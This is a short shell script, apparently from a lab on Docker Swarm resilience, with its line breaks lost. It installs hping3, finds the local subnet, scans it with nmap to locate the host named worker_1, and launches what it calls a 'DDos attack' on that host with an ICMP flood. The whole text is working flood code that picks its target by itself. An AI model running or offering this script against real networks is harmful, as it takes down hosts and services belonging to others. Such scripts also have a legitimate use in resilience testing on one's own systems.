sudo apt update sudo apt upgrade -y sudo apt install hping3 -y network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') clear echo "Swarm network is " $network worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') echo "Starting DDos attack to worker 1 with the IP address: " $worker1IP sudo hping3 -p 80 --flood --icmp $worker1IP